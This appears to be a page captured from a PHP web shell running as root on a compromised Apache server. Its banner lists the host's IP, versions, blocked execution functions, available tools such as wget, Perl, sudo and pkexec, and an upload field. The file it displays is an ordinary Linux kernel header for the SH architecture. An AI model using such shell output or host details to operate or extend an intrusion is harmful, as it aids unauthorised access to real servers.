| Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11584/root/usr/src/linux-headers-4.4.0-112/arch/sh/include/uapi/asm/ |
Upload File : |
#ifndef __ASM_SH_AUXVEC_H #define __ASM_SH_AUXVEC_H /* * Architecture-neutral AT_ values in 0-17, leave some room * for more of them. */ /* * This entry gives some information about the FPU initialization * performed by the kernel. */ #define AT_FPUCW 18 /* Used FPU control word. */ #if defined(CONFIG_VSYSCALL) || !defined(__KERNEL__) /* * Only define this in the vsyscall case, the entry point to * the vsyscall page gets placed here. The kernel will attempt * to build a gate VMA we don't care about otherwise.. */ #define AT_SYSINFO_EHDR 33 #endif /* * More complete cache descriptions than AT_[DIU]CACHEBSIZE. If the * value is -1, then the cache doesn't exist. Otherwise: * * bit 0-3: Cache set-associativity; 0 means fully associative. * bit 4-7: Log2 of cacheline size. * bit 8-31: Size of the entire cache >> 8. */ #define AT_L1I_CACHESHAPE 34 #define AT_L1D_CACHESHAPE 35 #define AT_L2_CACHESHAPE 36 #define AT_VECTOR_SIZE_ARCH 5 /* entries in ARCH_DLINFO */ #endif /* __ASM_SH_AUXVEC_H */